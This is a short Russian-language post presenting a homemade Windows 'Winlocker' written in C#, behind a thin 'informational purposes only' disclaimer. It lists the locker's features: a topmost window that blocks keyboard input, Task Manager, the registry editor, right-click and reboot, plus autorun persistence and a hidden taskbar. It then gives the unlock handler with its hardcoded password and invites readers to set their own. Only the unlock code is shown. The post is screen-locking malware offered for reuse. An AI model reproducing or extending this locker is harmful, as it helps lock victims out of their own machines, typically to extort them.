A simple Winlocker on C#
Данный материал был взят из свободного доступа и предоставлен только в ознакомительных целях! Я не побуждаю повторять все действия и ответственности за это не несу!
По факту, мой Winlocker - это самое обычное окно с виртуальной клавиатурой, у которого установлен стиль отображения "поверх всех" и который осуществляет следующие задачи:
- Блокировку событий ввода с клавиатуры.
- Блокировку запуска диспетчера задач.
- Блокировку запуска редактора реестра.
- Блокировку правой кнопки мыши.
- Блокировку кнопки перезагрузки в пространстве ctrl + alt + delete.
- Добавление в автозагрузку.
- Проверку на наличие прав локального администратора.
- Скрытие панели задач.
Разблокировка осуществляется вводом правильного пароля, при нажатии на виртуальные клавиши. После ввода правильного пароля происходит откат изменений в реестре Windows и закрытие формы. В файле Form1.cs и в методе button_unlock_Click установите свой пароль:
private void button_unlock_Click(object sender, EventArgs e)
{
String password = textBox.Text;
if (password == "tima") // Пароль для разблокировки
{
try
{
TaskManager.Unlock();
Registry_editor.Unlock();
Right_click.Unlock();
Rebooting.Unlock();
Autorun.Unset();
TaskBar.Unlock();
this.Close();
}
catch
{
MessageBox.Show(
"Разблокировка не удалась",
"Unlocking",
MessageBoxButtons.YesNo,
MessageBoxIcon.Information,
MessageBoxDefaultButton.Button1,
MessageBoxOptions.DefaultDesktopOnly);
}
}
else
{
textBox.Clear();
}
}